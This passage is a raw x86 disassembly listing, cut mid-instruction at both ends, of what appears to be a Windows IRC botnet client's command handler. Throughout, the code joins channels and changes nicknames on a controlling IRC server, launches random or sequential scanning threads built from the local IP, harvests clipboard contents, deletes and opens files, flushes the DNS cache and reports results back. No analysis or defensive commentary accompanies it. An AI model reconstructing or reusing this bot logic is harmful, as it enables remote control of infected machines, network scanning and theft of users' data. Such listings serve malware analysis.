ds:dword_442084[ecx], eax jz short loc_4138F8 loc_4138E2: ; CODE XREF: sub_40EE51+4AA5j cmp [ebp+var_560], ebx jnz loc_414DFC push 32h call ds:dword_423060 ; Sleep jmp short loc_4138E2 ; --------------------------------------------------------------------------- loc_4138F8: ; CODE XREF: sub_40EE51+4A8Fj call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset dword_437584 jmp loc_414DED ; --------------------------------------------------------------------------- loc_413909: ; CODE XREF: sub_40EE51+1BCEj ; sub_40EE51+1BE5j push edi call ds:dword_423158 ; DeleteFileA test eax, eax jz short loc_41391C push edi push offset dword_4350C4 jmp short loc_413927 ; --------------------------------------------------------------------------- loc_41391C: ; CODE XREF: sub_40EE51+4AC1j push offset dword_435A64 call sub_40AA30 push eax ; Format loc_413927: ; CODE XREF: sub_40EE51+4AC9j lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h jmp loc_4110E5 ; --------------------------------------------------------------------------- loc_413940: ; CODE XREF: sub_40EE51+1BA0j ; sub_40EE51+1BB7j push edi ; Str call _atoi push eax call sub_415408 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_41395D push offset unk_43508C jmp short loc_413962 ; --------------------------------------------------------------------------- loc_41395D: ; CODE XREF: sub_40EE51+4B03j push offset unk_435048 ; Format loc_413962: ; CODE XREF: sub_40EE51+4B0Aj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_411109 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 14h jmp loc_411109 ; --------------------------------------------------------------------------- loc_41399B: ; CODE XREF: sub_40EE51+1B72j ; sub_40EE51+1B89j push ebx ; int push ebx ; int push edi ; Str2 push [ebp+var_4] ; int push ebx ; Str push [ebp+arg_4] ; int call sub_415179 add esp, 18h cmp eax, 1 push edi jnz short loc_4139BD push offset unk_435014 jmp loc_414E17 ; --------------------------------------------------------------------------- loc_4139BD: ; CODE XREF: sub_40EE51+4B60j push offset unk_434FD4 jmp loc_414E17 ; --------------------------------------------------------------------------- loc_4139C7: ; CODE XREF: sub_40EE51+1B44j ; sub_40EE51+1B5Bj push edi call ds:dword_43C658 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+Src], eax jz short loc_413A01 push 2 lea eax, [ebp+Src] push 4 push eax call ds:dword_43C5D0 ; gethostbyaddr cmp eax, ebx jz short loc_413A1C push dword ptr [eax] loc_4139EA: ; CODE XREF: sub_40EE51+4BC9j push edi lea eax, [ebp+Dst] push offset dword_434FA8 ; Format push eax ; Dest call _sprintf add esp, 10h jmp short loc_413A2F ; --------------------------------------------------------------------------- loc_413A01: ; CODE XREF: sub_40EE51+4B83j push edi call ds:dword_43C69C ; gethostbyname cmp eax, ebx jz short loc_413A1C mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call ds:dword_43C6A4 ; inet_ntoa push eax jmp short loc_4139EA ; --------------------------------------------------------------------------- loc_413A1C: ; CODE XREF: sub_40EE51+4B95j ; sub_40EE51+4BB9j push offset dword_434F70 ; Format loc_413A21: ; CODE XREF: sub_40EE51+3E34j ; sub_40EE51+3FBDj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_413A2F: ; CODE XREF: sub_40EE51+2A4Fj ; sub_40EE51+3B46j ... cmp [ebp+var_8], ebx jnz loc_414A84 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 14h jmp loc_414A84 ; --------------------------------------------------------------------------- loc_413A59: ; CODE XREF: sub_40EE51+1B16j ; sub_40EE51+1B2Dj push 7Fh ; Count push edi ; Source push [ebp+arg_14] ; Dest call _strncpy push edi lea eax, [ebp+Dst] push offset dword_434F3C ; Format push eax ; Dest call _sprintf add esp, 18h jmp loc_410E22 ; --------------------------------------------------------------------------- loc_413A7E: ; CODE XREF: sub_40EE51+1AE8j ; sub_40EE51+1AFFj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call ds:dword_43C58C test eax, eax push edi jz short loc_413A9E push offset unk_434F00 jmp loc_414E17 ; --------------------------------------------------------------------------- loc_413A9E: ; CODE XREF: sub_40EE51+4C41j push offset unk_434EBC jmp loc_414E17 ; --------------------------------------------------------------------------- loc_413AA8: ; CODE XREF: sub_40EE51+1ABAj ; sub_40EE51+1AD1j mov al, [edi] mov ds:byte_42E5C0, al movsx eax, byte ptr [edi] push eax push offset dword_434E88 jmp loc_410E13 ; --------------------------------------------------------------------------- loc_413ABD: ; CODE XREF: sub_40EE51+1A8Cj ; sub_40EE51+1AA3j push edi ; Str call _atoi test eax, eax pop ecx jle loc_414F3C push edi ; Str call _atoi cmp eax, 1F4h pop ecx jge loc_414F3C push ebx ; Str1 push ebx ; int lea eax, [ebp+SubStr] push 2 ; int push eax ; Dest call sub_415CF0 push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf add esp, 1Ch jmp loc_412FAB ; --------------------------------------------------------------------------- loc_413B08: ; CODE XREF: sub_40EE51+1A5Ej ; sub_40EE51+1A75j push edi ; Str call _atoi test eax, eax pop ecx jle loc_40F215 push edi ; Str call _atoi mov esi, 1F4h pop ecx cmp eax, esi jge loc_40F215 push offset aQuitLater ; "QUIT :later\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push ds:dword_44207C[eax] ; int call sub_40D62A pop ecx pop ecx push esi call ds:dword_423060 ; Sleep push edi ; Str call _atoi imul eax, 234h pop ecx push ds:dword_44207C[eax] call ds:dword_43C6B0 ; closesocket push [ebp+var_10] push edi ; Str call _atoi imul eax, 234h pop ecx push ds:dword_442084[eax] call ds:dword_423168 push edi ; Str call _atoi imul eax, 234h push edi ; Str mov ds:dword_442084[eax], ebx call _atoi imul eax, 234h pop ecx pop ecx mov byte ptr ds:dword_441E70[eax], bl jmp loc_40F215 ; --------------------------------------------------------------------------- loc_413BB1: ; CODE XREF: sub_40EE51+1A30j ; sub_40EE51+1A47j push edi ; Str2 push offset aAll ; "all" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_413BEF call sub_416F11 cmp eax, ebx jle short loc_413BE5 push eax push offset dword_434E3C ; Format loc_413BD1: ; CODE XREF: sub_40EE51+15D3j ; sub_40EE51+2AB9j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4145C3 ; --------------------------------------------------------------------------- loc_413BE5: ; CODE XREF: sub_40EE51+4D78j push offset dword_434E04 jmp loc_4145B5 ; --------------------------------------------------------------------------- loc_413BEF: ; CODE XREF: sub_40EE51+4D6Fj mov eax, [ebp+var_C0] lea edi, [eax+1] cmp edi, 20h jnb loc_40F215 lea eax, [ebp+edi*4+Str2] mov [ebp+File], eax loc_413C0B: ; CODE XREF: sub_40EE51+4E2Bj mov eax, [ebp+File] mov esi, [eax] cmp esi, ebx jz loc_40F215 push esi ; Str call _atoi push eax call sub_416E83 pop ecx pop ecx test eax, eax push esi jz short loc_413C32 push offset dword_434DD0 jmp short loc_413C37 ; --------------------------------------------------------------------------- loc_413C32: ; CODE XREF: sub_40EE51+4DD8j push offset dword_434D94 ; Format loc_413C37: ; CODE XREF: sub_40EE51+4DDFj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_413C67 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 14h loc_413C67: ; CODE XREF: sub_40EE51+4DF8j lea eax, [ebp+Dst] push eax call sub_40BF6F add [ebp+File], 4 inc edi cmp edi, 20h pop ecx jb short loc_413C0B jmp loc_40F215 ; --------------------------------------------------------------------------- loc_413C83: ; CODE XREF: sub_40EE51+1A02j ; sub_40EE51+1A19j cmp [ebp+var_C], ebx jz loc_414F3C push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F3C push esi ; Args push offset aS_6 ; "%s\r\n" push [ebp+arg_4] ; int call sub_40D62A push esi push offset dword_434D6C jmp loc_41318D ; --------------------------------------------------------------------------- loc_413CBA: ; CODE XREF: sub_40EE51+19D4j ; sub_40EE51+19EBj push edi ; Args push offset dword_435700 ; Format push [ebp+arg_4] ; int call sub_40D62A push edi push offset dword_434D3C jmp loc_41318D ; --------------------------------------------------------------------------- loc_413CD3: ; CODE XREF: sub_40EE51+19A6j ; sub_40EE51+19BDj push [ebp+esi+Format] push edi ; Args push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_40D62A push edi push offset dword_434D0C jmp loc_413061 ; --------------------------------------------------------------------------- loc_413CF3: ; CODE XREF: sub_40EE51+1978j ; sub_40EE51+198Fj push edi ; Args push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_40D62A push edi push offset dword_434CD8 jmp loc_41318D ; --------------------------------------------------------------------------- loc_413D0C: ; CODE XREF: sub_40EE51+193Dj ; sub_40EE51+1952j mov al, ds:byte_42E5EA mov [ebp+Src], ebx cmp al, bl mov edx, offset byte_42E5EA jz loc_40F215 mov ecx, edx loc_413D23: ; CODE XREF: sub_40EE51+4EDAj inc [ebp+Src] add ecx, 0Bh cmp [ecx], bl jnz short loc_413D23 cmp al, bl jz loc_40F215 mov [ebp+Str1], edx loc_413D38: ; CODE XREF: sub_40EE51+51A5j push 8 call sub_416F90 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+Src] add eax, ecx cmp eax, 258h jle short loc_413D87 push ecx lea eax, [ebp+Dst] push offset unk_436014 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 20h jmp loc_413FED ; --------------------------------------------------------------------------- loc_413D87: ; CODE XREF: sub_40EE51+4F01j or [ebp+var_314], 0FFFFFFFFh cmp ds:dword_429CB0, ebx mov [ebp+var_318], 14h mov [ebp+var_32C], 7 mov [ebp+var_328], 140h mov [ebp+Src], ebx jz short loc_413DF8 mov eax, [ebp+Str1] mov edi, offset dword_429CB0 lea esi, [eax-0Ah] loc_413DC2: ; CODE XREF: sub_40EE51+4F89j lea eax, [edi-28h] push esi ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_413DDE inc [ebp+Src] add edi, 3Ch cmp [edi], ebx jnz short loc_413DC2 jmp short loc_413DF8 ; --------------------------------------------------------------------------- loc_413DDE: ; CODE XREF: sub_40EE51+4F7Fj mov eax, [ebp+Src] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, ds:dword_429CB0[ecx] mov [ebp+var_330], ecx loc_413DF8: ; CODE XREF: sub_40EE51+4F64j ; sub_40EE51+4F8Bj cmp [ebp+var_330], ebx jz loc_414001 push 10h lea eax, [ebp+Source] pop esi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+Source], esi push [ebp+arg_4] call ds:dword_43C5BC ; getsockname mov al, [ebp+var_9C7] push esi ; Args neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+Drive], eax push [ebp+Drive] ; Count call ds:dword_43C6A4 ; inet_ntoa push eax ; Source lea eax, [ebp+var_444] push eax ; Dest call _strncpy xor eax, eax cmp [ebp+var_9C7], bl push 30h ; Ch setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax ; Str call _strrchr add esp, 14h cmp edi, ebx mov byte ptr [ebp+File+3], bl jle short loc_413E9A loc_413E78: ; CODE XREF: sub_40EE51+5047j cmp eax, ebx jz short loc_413E9A mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h ; Ch push eax ; Str call _strrchr inc byte ptr [ebp+File+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+File+3] cmp ecx, edi jl short loc_413E78 loc_413E9A: ; CODE XREF: sub_40EE51+5025j ; sub_40EE51+5029j mov eax, [ebp+arg_4] push [ebp+Format] ; Format mov esi, [ebp+var_4] mov [ebp+var_334], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_308], eax lea eax, [ebp+var_434] push edi ; Count push eax ; Dest mov [ebp+var_304], 1 mov [ebp+var_30C], esi call __snprintf push offset byte_4397BC ; Str2 push offset aS_5 ; "#!S#" call _strcmp add esp, 14h test eax, eax jz short loc_413F04 push offset aS_5 ; "#!S#" lea eax, [ebp+var_3B4] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_413F0A ; --------------------------------------------------------------------------- loc_413F04: ; CODE XREF: sub_40EE51+509Aj mov [ebp+var_3B4], bl loc_413F0A: ; CODE XREF: sub_40EE51+50B1j cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_413F1C mov eax, offset aSequential ; "Sequential" loc_413F1C: ; CODE XREF: sub_40EE51+50C4j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+Dst] push offset unk_434C60 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 8 ; int push eax ; Source call sub_416D48 add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40796C push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_413FA6 loc_413F94: ; CODE XREF: sub_40EE51+5153j cmp [ebp+var_300], ebx jnz short loc_413FC1 push 32h call ds:dword_423060 ; Sleep jmp short loc_413F94 ; --------------------------------------------------------------------------- loc_413FA6: ; CODE XREF: sub_40EE51+5141j call ds:dword_423088 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dst] push offset unk_435F04 ; Format push eax ; Dest call _sprintf add esp, 0Ch loc_413FC1: ; CODE XREF: sub_40EE51+5149j cmp [ebp+var_8], ebx jnz short loc_413FE0 push ebx ; int lea eax, [ebp+Dst] push esi ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 14h loc_413FE0: ; CODE XREF: sub_40EE51+5173j lea eax, [ebp+Dst] push eax call sub_40BF6F pop ecx loc_413FED: ; CODE XREF: sub_40EE51+4F31j add [ebp+Str1], 0Bh mov eax, [ebp+Str1] cmp [eax], bl jnz loc_413D38 jmp loc_40F215 ; --------------------------------------------------------------------------- loc_414001: ; CODE XREF: sub_40EE51+3122j ; sub_40EE51+4FADj push offset unk_434C1C jmp loc_4145B5 ; --------------------------------------------------------------------------- loc_41400B: ; CODE XREF: sub_40EE51+1913j ; sub_40EE51+1928j push [ebp+Format] ; Format lea eax, [ebp+var_A4] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] push offset unk_434BE4 ; Format mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 1Eh ; int push eax ; Source call sub_416D48 add esp, 24h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_409032 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_4140A1 loc_41408E: ; CODE XREF: sub_40EE51+524Ej cmp [ebp+var_18], ebx jnz loc_414DFC push 32h call ds:dword_423060 ; Sleep jmp short loc_41408E ; --------------------------------------------------------------------------- loc_4140A1: ; CODE XREF: sub_40EE51+523Bj call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_434B98 jmp loc_414DED ; --------------------------------------------------------------------------- loc_4140B2: ; CODE XREF: sub_40EE51+18E9j ; sub_40EE51+18FEj push 4 call sub_416F90 test eax, eax pop ecx jle short loc_4140C8 push offset unk_434B6C jmp loc_410D06 ; --------------------------------------------------------------------------- loc_4140C8: ; CODE XREF: sub_40EE51+526Bj mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_4140EB push eax ; Format mov edi, 104h lea eax, [ebp+var_7FC] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_4140FF ; --------------------------------------------------------------------------- loc_4140EB: ; CODE XREF: sub_40EE51+5280j mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax push ebx call ds:dword_423090 ; GetModuleFileNameA loc_4140FF: ; CODE XREF: sub_40EE51+5298j mov esi, [ebp+esi+Format] cmp esi, ebx jnz short loc_41410F mov esi, offset byte_42E664 loc_41410F: ; CODE XREF: sub_40EE51+52B7j push esi ; Format lea eax, [ebp+var_6F8] push edi ; Count push eax ; Dest call __snprintf mov eax, ds:dword_42E5AC push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_5EC], eax mov eax, [ebp+arg_4] mov [ebp+var_5F0], ebx mov [ebp+var_800], eax lea eax, [ebp+var_5E8] push eax ; Dest call _strncpy mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_7FC] push eax lea eax, [ebp+Dst] push [ebp+var_5EC] push offset unk_42A328 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 4 ; int push eax ; Source call sub_416D48 add esp, 38h mov [ebp+var_5F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_406C0B push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_5F4] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_4141DF loc_4141C9: ; CODE XREF: sub_40EE51+538Cj cmp [ebp+var_560], ebx jnz loc_410E22 push 32h call ds:dword_423060 ; Sleep jmp short loc_4141C9 ; --------------------------------------------------------------------------- loc_4141DF: ; CODE XREF: sub_40EE51+5376j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_434B24 jmp loc_410E13 ; --------------------------------------------------------------------------- loc_4141F0: ; CODE XREF: sub_40EE51+18BFj ; sub_40EE51+18D4j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_41420F push edi ; Str call _atoi test eax, eax pop ecx jz short loc_41420F push edi ; Str call _atoi pop ecx jmp short loc_414214 ; --------------------------------------------------------------------------- loc_41420F: ; CODE XREF: sub_40EE51+53A8j ; sub_40EE51+53B3j mov eax, ds:dword_42E5B0 loc_414214: ; CODE XREF: sub_40EE51+53BCj mov esi, [ebp+esi+Format] mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9C4], bl setz al cmp esi, ebx mov [ebp+var_568], eax jz short loc_414247 lea eax, [ebp+var_680] push esi ; Format push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_414272 ; --------------------------------------------------------------------------- loc_414247: ; CODE XREF: sub_40EE51+53E3j lea eax, [ebp+FullPath] push 104h push eax call ds:dword_423064 ; GetSystemDirectoryA push ebx ; Ext push ebx ; Filename lea eax, [ebp+Drive] push ebx ; Dir push eax ; Drive lea eax, [ebp+FullPath] push eax ; FullPath call __splitpath add esp, 14h loc_414272: ; CODE XREF: sub_40EE51+53F4j lea eax, [ebp+var_680] push eax ; Str call _strlen cmp [ebp+eax+var_681], 5Ch pop ecx jnz short loc_41429D lea eax, [ebp+var_680] push eax ; Str call _strlen pop ecx mov [ebp+eax+var_681], bl loc_41429D: ; CODE XREF: sub_40EE51+5436j push [ebp+Format] ; Format mov esi, [ebp+arg_4] lea eax, [ebp+var_908] mov [ebp+var_90C], esi push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_680] mov [ebp+var_570], edi push eax push [ebp+var_57C] push esi call sub_40AEDB pop ecx push eax lea eax, [ebp+Dst] push offset unk_42A20C ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 3 ; int push eax ; Source call sub_416D48 add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_90C] push ebx push eax push offset sub_405AF0 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_414355 loc_41433F: ; CODE XREF: sub_40EE51+5502j cmp [ebp+var_560], ebx jnz loc_4144A4 push 32h call ds:dword_423060 ; Sleep jmp short loc_41433F ; --------------------------------------------------------------------------- loc_414355: ; CODE XREF: sub_40EE51+54ECj call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_434ADC jmp loc_414495 ; --------------------------------------------------------------------------- loc_414366: ; CODE XREF: sub_40EE51+1895j ; sub_40EE51+18AAj mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_414385 push edi ; Str call _atoi test eax, eax pop ecx jz short loc_414385 push edi ; Str call _atoi pop ecx jmp short loc_41438A ; --------------------------------------------------------------------------- loc_414385: ; CODE XREF: sub_40EE51+551Ej ; sub_40EE51+5529j mov eax, ds:dword_42E5B4 loc_41438A: ; CODE XREF: sub_40EE51+5532j mov [ebp+var_578], eax mov eax, [ebp+esi+Format] cmp eax, ebx jnz short loc_4143A1 lea eax, [ebp+var_D8] loc_4143A1: ; CODE XREF: sub_40EE51+5548j push eax ; Format lea eax, [ebp+var_6B8] push 40h ; Count push eax ; Dest call __snprintf mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_4143C3 mov esi, offset byte_4397BC loc_4143C3: ; CODE XREF: sub_40EE51+556Bj push esi ; Format lea eax, [ebp+var_678] push 100h ; Count push eax ; Dest call __snprintf push [ebp+Format] ; Format lea eax, [ebp+var_738] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 18h mov [ebp+var_564], eax lea eax, [ebp+var_6B8] push eax mov [ebp+var_73C], esi push [ebp+var_578] mov [ebp+var_568], edi push esi call sub_40AEDB pop ecx push eax lea eax, [ebp+Dst] push offset dword_434A90 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 6 ; int push eax ; Source call sub_416D48 add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_73C] push ebx push eax push offset sub_4156FD push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_414489 loc_414477: ; CODE XREF: sub_40EE51+5636j cmp [ebp+var_560], ebx jnz short loc_4144A4 push 32h call ds:dword_423060 ; Sleep jmp short loc_414477 ; --------------------------------------------------------------------------- loc_414489: ; CODE XREF: sub_40EE51+5624j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset dword_434A44 ; Format loc_414495: ; CODE XREF: sub_40EE51+363Cj ; sub_40EE51+3736j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_4144A4: ; CODE XREF: sub_40EE51+3620j ; sub_40EE51+371Aj ... cmp [ebp+var_8], ebx jnz loc_414DFC push ebx push edi jmp loc_411D29 ; --------------------------------------------------------------------------- loc_4144B4: ; CODE XREF: sub_40EE51+186Bj ; sub_40EE51+1880j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_4144C7 push esi ; Str call _atoi jmp short loc_4144CE ; --------------------------------------------------------------------------- loc_4144C7: ; CODE XREF: sub_40EE51+566Cj push 8 call sub_416FAF loc_4144CE: ; CODE XREF: sub_40EE51+5674j cmp eax, ebx pop ecx jz loc_414F3C push eax ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_4071CC loc_4144E9: ; CODE XREF: sub_40EE51+5B49j add esp, 10h jmp loc_414F3C ; --------------------------------------------------------------------------- loc_4144F1: ; CODE XREF: sub_40EE51+1841j ; sub_40EE51+1856j mov eax, ds:dword_43C540 cmp eax, ebx jz short loc_41450E call eax ; DnsFlushResolverCache test eax, eax jz short loc_414507 push offset unk_434A10 jmp short loc_414523 ; --------------------------------------------------------------------------- loc_414507: ; CODE XREF: sub_40EE51+56ADj push offset unk_4349D4 jmp short loc_414523 ; --------------------------------------------------------------------------- loc_41450E: ; CODE XREF: sub_40EE51+56A7j push offset unk_434998 jmp short loc_414523 ; --------------------------------------------------------------------------- loc_414515: ; CODE XREF: sub_40EE51+1817j ; sub_40EE51+182Cj call sub_40ADFD test eax, eax jz short loc_414539 push offset unk_434964 ; Format loc_414523: ; CODE XREF: sub_40EE51+56B4j ; sub_40EE51+56BBj ... lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf jmp loc_414E23 ; --------------------------------------------------------------------------- loc_414539: ; CODE XREF: sub_40EE51+56CBj push offset unk_434928 jmp short loc_414523 ; --------------------------------------------------------------------------- loc_414540: ; CODE XREF: sub_40EE51+17EDj ; sub_40EE51+1802j cmp [ebp+var_8], ebx jnz short loc_41455F push ebx ; int push [ebp+var_4] ; int push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 14h loc_41455F: ; CODE XREF: sub_40EE51+56F2j push ebx ; int push [ebp+var_4] ; int call sub_40AABA push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 push offset dword_4348E8 jmp loc_41486C ; --------------------------------------------------------------------------- loc_414581: ; CODE XREF: sub_40EE51+170Dj ; sub_40EE51+1722j push 7 call sub_416F90 test eax, eax pop ecx jle short loc_414594 push offset dword_4348B0 jmp short loc_4145B5 ; --------------------------------------------------------------------------- loc_414594: ; CODE XREF: sub_40EE51+573Aj push [ebp+Format] push [ebp+arg_4] call sub_40B567 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4145B0 push offset dword_434878 jmp short loc_4145B5 ; --------------------------------------------------------------------------- loc_4145B0: ; CODE XREF: sub_40EE51+5756j push offset dword_434848 ; Format loc_4145B5: ; CODE XREF: sub_40EE51+2C75j ; sub_40EE51+2DA5j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_4145C3: ; CODE XREF: sub_40EE51+15B7j ; sub_40EE51+2D7Fj ... cmp [ebp+var_8], ebx jnz loc_414DFC push ebx ; int push [ebp+var_4] ; int loc_4145D0: ; CODE XREF: sub_40EE51+3972j lea eax, [ebp+Dst] push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int loc_4145E0: ; CODE XREF: sub_40EE51+2EE6j call sub_40D670 add esp, 14h jmp loc_414DFC ; --------------------------------------------------------------------------- loc_4145ED: ; CODE XREF: sub_40EE51+16E3j ; sub_40EE51+16F8j push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40A4A7 jmp loc_40F212 ; --------------------------------------------------------------------------- loc_414606: ; CODE XREF: sub_40EE51+16B9j ; sub_40EE51+16CEj push [ebp+esi+var_90] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D317 jmp loc_40F212 ; --------------------------------------------------------------------------- loc_414623: ; CODE XREF: sub_40EE51+168Fj ; sub_40EE51+16A4j or edi, 0FFFFFFFFh call ds:dword_423054 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+Src], eax jz short loc_41464C push esi ; Str call _atoi pop ecx mov edi, eax loc_41464C: ; CODE XREF: sub_40EE51+57F0j mov eax, [ebp+Src] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_414665 cmp edi, 0FFFFFFFFh jnz loc_414F3C loc_414665: ; CODE XREF: sub_40EE51+5809j push ebx call sub_40B71C push eax lea eax, [ebp+Dst] push offset dword_434820 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 lea eax, [ebp+Dst] push eax call sub_40BF6F jmp loc_4122C2 ; --------------------------------------------------------------------------- loc_4146A7: ; CODE XREF: sub_40EE51+1665j ; sub_40EE51+167Aj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_408C13 lea eax, [ebp+Dst] push offset unk_4347F0 ; Format push eax ; Dest call _sprintf add esp, 14h jmp loc_410E22 ; --------------------------------------------------------------------------- loc_4146D1: ; CODE XREF: sub_40EE51+163Bj ; sub_40EE51+1650j push 1Fh call sub_416F90 test eax, eax pop ecx jle short loc_4146FA cmp [ebp+var_8], ebx jnz loc_40F215 push ebx push [ebp+var_4] push offset unk_4347BC push [ebp+Format] jmp loc_40F773 ; --------------------------------------------------------------------------- loc_4146FA: ; CODE XREF: sub_40EE51+588Aj push [ebp+Format] ; Format lea eax, [ebp+var_4F0] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax mov [ebp+var_46C], ebx jz short loc_41475B push esi ; Str2 push offset aFull ; "full" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_41475B mov [ebp+var_46C], 1 loc_41475B: ; CODE XREF: sub_40EE51+58EDj ; sub_40EE51+58FEj lea eax, [ebp+Dst] push offset dword_434784 ; Format push eax ; 